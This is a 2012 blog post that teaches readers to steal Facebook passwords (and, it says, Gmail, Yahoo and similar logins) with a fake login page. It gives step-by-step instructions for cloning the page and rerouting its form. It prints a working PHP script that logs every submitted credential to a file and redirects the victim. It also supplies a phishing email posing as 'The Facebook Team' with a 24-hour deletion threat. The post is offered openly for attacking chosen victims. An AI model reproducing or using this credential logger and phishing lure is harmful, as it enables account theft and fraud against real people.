Thursday, December 27, 2012

Facebook hacking with fake login page


Hey all users, today I am going to explain to you in this post that how to create fake orphishing page to steal passwords.I will be using Facebook for the sake of this tutorial. This Procedure can be used to make fake pages for other websites like yahoo, msn, gmail, hotmail etc which you want to steal the password of particular user.



Steps for Creating Phishing or Fake web Page:

Step 1:

Go to the www.facebook.com. Press ctrl + u to view page source and copy and paste all in notepad.Name the file as login.php.Go to the next step.

Step 2:

Open the file in Notepad.

Step 3:

Search for the

action="https://www.facebook.com/login.php?login_attempt=1"

Replace it with:

action="=login.php"

and search for

method="post"

It will be just after the action code.Replace it with:

method="get"

Save the file as login.php

Step 4: 

Now you need a special code that is used to steal the password,then save it and then redirect the victim so that he/she won't suspect anything.Just copy the code with spaces.Here is the code below:


    <?php
    Header ('Location: http://www.anysite.com');
    $handle = fopen("log.txt", "a");
    foreach($_GET as $variable => $value) {
    fwrite($handle, $variable);
    fwrite($handle, "=");
    fwrite($handle, $value);
    fwrite($handle, "\r\n");
    }
    fwrite($handle, "\r\n");
    fclose($handle);
    exit;
    ?>

Replace the "anysite" with any site that you want the user to go to after he/she has entered his/her password in the fake page.

Save It as =login.php

Step 5:

Go to www.110mb.com and make a free account.Now use this tool to locate whichserver you account is on.Now login to your account and upload the two files (namely login.php and =login.php).

Step 6: 

Now use this powerful fake mailer  and send an email to the victim giving him this message:

Dear user, your Facebook account needs to be transferred to a new server because the existing one is facing problems.To confirm that you got this email ,go to the link below to login with your credentials and to confirm.If you don't do this then your account will be deleted in the next 24 hours.
Thank you,
The Facebook Team.

Or just simply send this phishing URL directly and get the user to login.

No comments:

Post a Comment